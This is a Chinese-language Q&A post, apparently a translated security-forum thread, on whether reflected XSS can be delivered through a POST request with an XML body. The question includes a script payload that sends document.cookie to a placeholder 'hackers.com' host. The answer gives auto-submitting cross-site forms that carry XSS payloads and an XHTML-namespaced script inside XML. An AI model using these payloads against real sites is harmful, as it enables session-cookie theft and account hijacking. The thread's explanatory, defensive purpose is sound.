通过 POST 请求和 XML 有效负载反射 XSS 攻击

信息安全 应用安全 xss 攻击预防 网络服务
2021-08-24 20:00:53

我知道反射型 XSS 可以通过 GET 请求来完成,例如:

http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>

只要响应看起来与此类似:

<html>
    <head>
        <title>Your Serach Results</title>
    </head>
    <body>
        <h2>No results for: </h2>
        <script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </body>
</html>

但是,如果搜索词作为 XML 内容的一部分在 http 正文中随 POST 请求一起发送,这种攻击是否仍然可能。RESTful 服务经常使用这种方法。

<Query>
    <SearchTerm>
        script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </SearchTerm>
</Query>

如果这是可能的,攻击者如何做到这一点?

[编辑]

还需要将Content-Type标头设置为application/xml

1个回答

攻击者可以使用默认值自动提交远程表单。像这样 :

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>

并添加一个带有 XHTML 命名空间的脚本,它将运行。 例子

sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
*   Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
< 
<?xml version="1.0" encoding="UTF-8"?>
<Query>
    <SearchTerm>
        <script xmlns="http://www.w3.org/1999/xhtml">
            alert('Hello');
        </script>
    </SearchTerm>
</Query>
* Closing connection #0

例子